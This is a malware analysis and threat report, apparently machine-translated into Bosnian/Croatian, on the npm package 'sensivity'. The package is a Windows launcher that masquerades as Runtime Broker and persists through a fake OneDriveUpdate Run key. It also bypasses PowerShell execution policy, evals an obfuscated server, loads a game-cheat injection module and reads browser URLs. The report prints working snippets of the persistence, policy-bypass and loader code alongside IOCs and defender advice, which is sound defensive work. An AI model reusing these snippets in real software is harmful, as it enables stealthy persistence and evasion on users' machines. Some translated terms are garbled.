TL; DR
npm paket osjetljivost opisuje sebe kao "Kontrolna ploča osjetljivosti". Na Windowsu se ponaša kao alat za daljinsko upravljanje i nadzor.
Njegova ulazna tačka, launcher.js, preimenuje vlastiti proces u Runtime Broker, zapisuje vrijednost automatskog pokretanja Run-key-a pod nazivom OneDriveUpdate koji ponovo pokreće paket putem skrivenog VBScripta, pokreće PowerShell sa -ExecutionPolicy Bypass, a zatim evaluira obfusirani serverski paket od 171 KB zajedno s izvornim modulom od 6.87 MB, sens.node.
Opslužuje kontrolnu ploču za uparivanje telefona na TCP portu 3000 i čita URL adresne trake aktivnog preglednika putem Windows UIAutomation, tražeći jedan čvrsto kodirani YouTube video.
Dva dijela koja su ranije izgledala kao crne kutije sada su riješena. Zamaskirani server, server.obf.js, koristi obfuscator.io RC4 shemu nizova stringova; reimplementacija njegovog dekodera van mreže (bez izvršavanja JavaScripta) oporavlja jednu vanjsku krajnju tačku — https://izopi.com/check.php — zajedno s ugrađenim RSA javnim ključem koji se koristi za provjeru potpisanih odgovora o licenci.
Izvorni modul, sens.node, nije zapakiran: njegova tabela uvoza i ugrađeni stringovi identificiraju ga kao DirectX 11 / Dear ImGui sloj u igri koji pruža funkcije aimbota, ESP-a (wall-hack) i triggerbota, pokretane ubrizgavanjem udaljenih procesa i čitanjem/pisanjem u memoriju.
Stringovi unutar njega referenciraju entitete vozila i lokacije na mapi u skladu s GTA V / FiveM. npm paket je omotač za isporuku i perzistenciju oko tog izvornog modula.
Odlučujući signal je operativne, a ne tehničke prirode: jedan anonimni izdavač je plasirao otprilike sedamdeset verzija jednog paketa - 2.5.0 do 2.5.69 — tokom nekoliko dana, svaki od njih noseći isti lanser.
Nema instalacija hooksKorisni teret se pokreće samo kada je paket pokrenut.
Napad: Kako funkcioniše
sensivity isporučuje deset datoteka. Datoteka package.json je rijetka: nema repozitorijskog polja, nema licence, glavni i dva bin aliasa (sensitivity, sens) koji svi pokazuju na launcher.js, te početna skripta za node launcher.js. Nema postinstalacije ili predinstalacije. Ništa se ne pokreće prilikom npm instalacije. Ponašanje opisano u nastavku se izvršava kada korisnik pokrene paket - putem bin shim-a, početne skripte ili naredbe require.
Tarball sadrži pokretač, obfusirani server, izvorni modul, Visual Basic skriptu i direktorij public/web za kontrolnu ploču. launcher.js je čitljivi orkestrator; logika koja je važna za vrijeme izvođenja nalazi se u dva bloba koje učitava - obfusirani server i kompajlirani izvorni modul, oba riješena u nastavku.
Maskiranje procesa i lažni program za ažuriranje OneDrive-a
Na početku izvršavanja, launcher.js dva puta postavlja ime vlastitog procesa:
javascript process.title = 'Runtime Broker'; Runtime Broker je legitimni Windows proces (RuntimeBroker.exe) koji posreduje u dozvolama aplikacija. Preimenovanje Node procesa u skladu s njim znači da brzi pogled na Upravitelj zadataka ne pokazuje ništa neobično.
Perzistencija je napisana putem PowerShella, a ne direktno putem registra API-ja:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Vrijednost automatskog pokretanja se zove OneDriveUpdate i ne ukazuje direktno na paket. Ona ukazuje na wscript.exe koji pokreće uključeni OneDrive.Standalone.Updater.vbs. Ta skripta ponovo pokreće node launcher.js u skrivenom prozoru. I naziv ključa za izvršavanje i naziv VBScript datoteke posuđuju Microsoftov brend, tako da se unos za automatsko pokretanje čita kao rutinski OneDrive zadatak.
PowerShell sa zaobilaženjem pravila izvršavanja
Launcher se više puta obraća PowerShellu. Sink koji skeneri označavaju kao kritičan je pokretanje generiranog .ps1 fajla sa onemogućenom politikom izvršavanja:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Zaobilaženje ExecutionPolicy uklanja lokalnu provjeru potpisivanja skripti za taj poziv. Generirane skripte obrađuju nadzor preglednika i detekciju prozora opisane u sljedećem odjeljku.
Obfusirani server i izvorni modul
Nakon podešavanja, launcher.js učitava i izvršava svoj stvarni korisni sadržaj:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js je 171 KB _0x-array obfuscation — JavaScript obrasca gdje se svaki string i identifikator zamjenjuje indeksom u promiješanom nizu, a zatim se dereferencira za vrijeme izvođenja. Shema je RC4 varijanta koju proizvodi obfuscator.io: jedna funkcija dekodera base64 dekodira unos niza, a zatim ga RC4 dekriptira ključem po pozivu. Reimplementacija tog dekodera u zasebnom skriptu — pokretanje samo reimplementacije preko izdvojenog niza stringova od 821 unosa, nikada vlastitog JavaScripta paketa — čisto ga odmotava. Ono što se pojavljuje je skromno, ali decisive: jedan eksterni URL, https://izopi.com/check.php`, dodijeljen konstanti LICENSE_URL; ugrađeni RSA PUBLIC_KEY_PEM`; lokalni panel usmjerava /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off i /trigger/status; i stringovi child_process, crypto i [Sensivity] sens.node loaded - posljednji je tačna linija dnevnika koju pokretač prepisuje u programski modul učitan. Krajnja tačka je provjera licence: klijent objavljuje identifikator (maskirani server formatira Discord ID: %s string) i RSA ključ provjerava potpisani odgovor servera.
sens.node je kompajlirani nativni dodatak od 6.87 MB i nije zapakiran — entropija sekcije je na 5.6–6.6, a PE tabele za uvoz i izvoz su netaknute, tako da su njegove mogućnosti direktno čitljive. Izvozi napi_register_module_v1, standard Ulazna tačka Node N-API-ja, tako da je evaluirani server učitava običnim zahtjevom. Njegova tabela uvoza je tell. Iz KERNEL32 povlači OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules i Process32First/NextW - kanonski skup za lociranje drugog procesa, alokaciju memorije unutar njega i čitanje ili pisanje te memorije. Iz USER32 povlači GetAsyncKeyState, GetKeyState, mouse_event i SetCursorPos; povezuje d3d11.dll, D3DCOMPILER_43 i dwmapi za prekrivač na ekranu, te puni WINHTTP skup za mrežne pozive. Njegovi ugrađeni stringovi imenuju skup funkcija bez dvosmislenosti: Omogući Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected i banner "Dragi ImGui" "Dragi ImGui 1.91.3 WIP". Stringovi lokacije i entiteta kao što su Grapeseed Medical Clinic i vokabular vehicle-ESP su u skladu sa GTA V / FiveM.
Podjela je namjerna: čitljivi launcher.js sadrži samo dijelove koje skener lako čita - persistence, maskquerade, sam eval poziv - dok obfuscation skriva jedan vanjski host s kojim runtime kontaktira, a binarni fajl sadrži logiku prekrivanja igre i ubrizgavanja procesa. Launcher je tanka, auditibilna ljuska; obfusirani server skriva identitet mreže; nativni modul je korisni teret. Opisujemo uvoze i stringove binarnog fajla kao pročitane; ne zaključujemo svrhu operatora iz njih.
Kontrolna ploča za uparivanje telefona na portu 3000
Pokretač upravlja lokalnim web serverom na TCP portu 3000 i tretira ga kao singleton. Upita za postojeći listener i briše ga prije povezivanja:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Panel je dostupan na http://localhost:3000, sa fiksno kodiranim LAN rezervnim URL-om http://192.168.1.16:3000. Direktorij public/ i ponašanje panela su u skladu sa tokom QR-uparivanja: telefon skenira kod i povezuje se sa hostom kao daljinski upravljač. Nijedan eksterni domen komandi i kontrola se ne pojavljuje u otvorenom tekstu u pokretaču - ali, kao što pokazuje gornja deobfuskacija, jedan je prisutan na obfusciranom serveru: krajnja tačka licence izopi.com. Sam panel je lokalni i ima LAN opseg; jedini izlazni host je ta provjera licence.
Odvojeni model nadzornika/radnika održava proces aktivnim. Pokretač se ponovo pokreće sa zastavicama okruženja SENSIVITY_SUPERVISOR i SENSIVITY_WORKER, pri čemu se svaki podređeni proces izvršava skriveno, tako da ga ubijanjem jednog procesa ostaje nadzornik koji će ga ponovo pokrenuti.
Nadzor preglednika i YouTube signal
Najspecifičnije ponašanje je praćenje preglednika. launcher.js gradi PowerShell koji pokreće Windows UIAutomation da čita adresnu traku pokrenutog preglednika:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern vraća tekstualni sadržaj UI elementa. Primijenjen na kontrolu za uređivanje u adresnoj traci preglednika, vraća URL koji žrtva trenutno pregledava - bez proširenja preglednika, bez dodirivanja profila na disku i bez API hook-a. Generirani skript ponavlja listu $browserNames i izdvaja URL ili naslov prozora preglednika koji je u prvom planu.
Taj URL se testira u odnosu na jedan fiksno kodirani cilj:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Pokretač u petlji od tri sekunde ispituje prozor preglednika koji prikazuje YouTube, a generirani PowerShell nosi par Get-YouTubeBrowser / Test-TargetYouTubeUrl koji se podudara s tim ID-om videa. Uočljivi učinak je dvostruk: aktivni URL pregledavanja se očitava s ekrana žrtve i detektira se interakcija domaćina s jednim određenim YouTube videom. Opisujemo mehanizam i metu; ne zaključujemo motiv iz njih.
Pročitavanje adresne trake je ono što skener označava kao sensitive_data_enumeration - izvor Process::env i UIAutomation koji napaja mrežno sposobno okruženje za izvršavanje. Izolovano izgleda bezopasno i pretvara se u nadzor tek kada se životni ciklus podataka prati od izvora UIAutomation do obfusciranog servera.
Vremenska crta i evolucija verzija
Osjetljivost nije jednokratno postavljanje. Izdavački račun ima otprilike sedamdeset objavljenih verzija ovog jednog paketa, a nove su stalno pristizale tokom perioda pregleda. Launcher se širi funkciju po funkciju u liniji 2.5.x, dok njegova perzistencija i učitavanje korisnog tereta ostaju fiksni.
| Datum (UTC) | Opažene verzije | Stanje pokretača |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Osnovni pokretač QR-panela; Perzistencija tipke za izvršavanje; evaluacija obfusiranog servera. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Isti otisak prsta; suzbijanje traga konzole. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Dodaje zakačenu metu angažmana na YouTubeu wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Ponovno objavljivanje za popunjavanje praznina u cijelom asortimanu; nadzornik/radnik. |
Čitanje pokretača u preuzetim verzijama - 2.5.0, 2.5.36 i 2.5.69 - pokazuje četiri nivoa. Najranije verzije nose osnovni pokretač za QR uparivanje. Od verzije 2.5.33 pojavljuje se sakupljač adresne trake UIAutomation. Od verzije 2.5.58 dodaje se sloj za upravljanje nadzornikom. Od verzije 2.5.64, odvojeni nadzornik/radnik upotpunjuje set. Kroz cijeli proces, četiri stvari se nikada ne mijenjaju: ključ OneDriveUpdate Run, alat za ubacivanje OneDrive.Standalone.Updater.vbs, eval'd server.obf.js i nativni modul sens.node.
Val iz 2026-06-05 je značajan jer je ponovo objavio verzije s niskim brojevima - od 2.5.0 do 2.5.15 - koje se nalaze ispod verzija potvrđenih nekoliko dana ranije. Efekat je susjedna linija 2.5.x u registru, pri čemu svaka verzija nosi isti pokretač.
Indikatori kompromisa
Svi dolje navedeni indikatori su pročitani direktno iz tarballa paketa. Čitljivi pokretač sadrži samo povratnu petlju i jednu privatnu LAN adresu; jedno vanjsko ime hosta, izopi.com, je vraćeno deobfuskacijom server.obf.js van mreže.
| tip | pokazatelj | bilješke |
|---|---|---|
| paket | npm:sensivity (≈70 verzija, 2.5.0-2.5.69) | Izdavač jednog paketa; bez repozitorija; bez licence. |
| fajl | launcher.js | Čitljiv orkestrator; glavni i ciljni bin. |
| fajl | server.obf.js (≈171 KB) | obfuscator.io RC4 korisni teret niza stringova, učitan putem eval(fs.readFileSync(...)). |
| fajl | sens.node (≈6.87 MB) | Dodatak PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| fajl | OneDrive.Standalone.Updater.vbs | Skriveni restart (node launcher.js). |
| mreža | https://izopi.com/check.php | Krajnja tačka licence/autorizacije oporavljena sa obfuskiranog servera; ugrađeni RSA javni ključ verifikuje odgovore. |
| sposobnost | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Ubrizgavanje u udaljene procese i mogućnost čitanja/pisanja u memoriju. |
| sposobnost | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui prekrivač za igru koji implementira funkcije aimbota, ESP-a i triggerbota. |
| registar | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Vrijednost automatskog pokretanja koja pokazuje na wscript.exe i pokretač VBScript-a. |
| proces | process.title = 'Runtime Broker' | Predstavlja se kao legitimni proces Windows Runtime Brokera. |
| Behavioral | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Zaobilaženje pravila izvršavanja koje se koristi za generirane PowerShell skripte. |
| Behavioral | UIAutomation ValuePattern čitanje adresne trake preglednika | Čita URL prozora preglednika u prvom planu. |
| Behavioral | ID ciljnog videa wJWta2lO0Lw; Anketa na YouTubeu u trajanju od 3 sekunde | Zakačeni signal za praćenje angažmana. |
| mreža | http://localhost:3000, rezervni http://192.168.1.16:3000 | Kontrolna ploča za QR uparivanje dostupna lokalno i na LAN mreži. |
| ambijent | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Odvojene zastavice koordinacije procesa nadzora. |
Atribucija, uticaj i branioci
Paket je objavio jedan npm račun čija je navedena e-mail adresa neprovjerena Gmail adresa. Račun ima izrazito negativan rezultat reputacije u registru, održava i objavljuje samo ovaj jedan paket i nema povezano izvorno spremište. Nismo provjerili vlasništvo nad e-mail adresom i kampanju pripisujemo računu izdavača, a ne bilo kojoj imenovanoj osobi. Launcher nema infrastrukturu otvorenog teksta, ali je sada poznat jedan vanjski host: obfusirani server kontaktira izopi.com radi provjere licence, a nativni modul - čitan iz svoje tabele uvoza i stringova, a ne obrnuto instrukciju po instrukciju - je sloj igre koji ubrizgava i čita memoriju drugog procesa.
Primjetan utjecaj pada na korisnike Windowsa koji instaliraju i pokreću Sensitivity očekujući uslužni program kontrolne ploče. Na tim hostovima paket uspostavlja automatsku perzistenciju prikrivenu kao OneDrive zadatak, preimenuje se kako bi oponašao sistemski proces, čita URL bilo čega što korisnik pregledava i postavlja ploču za uparivanje koja povezuje mašinu sa udaljenim uređajem preko lokalne mreže. Nadzornik/radnik znači da jednokratno ubijanje procesa ne uklanja taj proces; unos Run-key preživi ponovna pokretanja. macOS i Linux nisu ciljani pokretačem - putanje persistence, PowerShell i UIAutomation su samo za Windows.
Odljev verzija od sedamdeset je trend koji vrijedi istaknuti. Ponovno objavljivanje jednog paketa desetine puta u nekoliko dana, uključujući ponovno popunjavanje brojeva verzija ispod onih koje su već uklonjene, održava aktivnu kopiju u registru između uklanjanja i frustrira liste blokiranih verzija. Unos na listu blokiranih za sensivity@2.5.61 ne čini ništa protiv sensivity@2.5.3 ponovo objavljene sljedećeg dana.
Branioci mogu djelovati na sljedeće načine:
- Potpuno blokirajte osjetljivost naziva paketa u dozvoljenim listama registry-proxy i CI. Zakačivanje pojedinačnih verzija gubi na ritmu ponovnog objavljivanja; naziv je indikator trajnosti.
- Potražite vrijednost za pokretanje pod nazivom OneDriveUpdate čiji podaci pozivaju wscript.exe za .vbs datoteku u putanji po korisniku. Originalni program za ažuriranje OneDrive-a nije registrovan na ovaj način.
- Upozorenje o Node.js procesu čiji je process.title Runtime Broker. Pravi broker je RuntimeBroker.exe, a ne Node runtime.
- Označi npm dohvate paketa tokom instalacije koji isporučuju kompajlirani .node dodatak plus eval(fs.readFileSync(…)) srodne .obf.js datoteke. To uparivanje - neprozirni nativni binarni fajl učitan pored obfusiranog tekstualnog sadržaja - je strukturni pokazatelj ovdje, nezavisan od bilo kojeg IOC-a stringa.
- Tretirajte svaki lokalno vezani slušač na portu 3000, kojeg je generirao neočekivani Node proces, kao sumnjiv na upravljanim krajnjim tačkama Windowsa.
- Blokiraj ili upozori na odlazne zahtjeve prema izopi.com od strane programera ili krajnjih korisnika; to je jedina vanjska krajnja tačka paketa, dostupna na /check.php sa obfuscated servera.
- Za bilo koji uključeni .node dodatak, provjerite njegovu tabelu uvoza prije nego što mu vjerujete. Kombinacija OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread je injekcija udaljenog procesa bez obzira na to što paket tvrdi da radi; ovdje se nalazi pored Direct3D overlay-a i aimbot/ESP/triggerbot stringova.
Za statičku analizu pipelineDakle, oblik uvjerenja je trajan tokom promjene verzija: profil instalacije koji nije povezan s mrežom, dodjeljivanje naziva procesa poznatom nazivu sistemskog procesa, pisanje pomoću tipke Run putem PowerShella i evaluacija datoteke pročitane s diska. Ništa od toga ne ovisi o domeni, IP adresi ili broju verzije koju sljedeće ponovno objavljivanje može rotirati.
reference
[npm: osjetljivost] – stranica registra za liniju verzije paketa o kojoj se ovdje raspravlja; podložno uklanjanju.





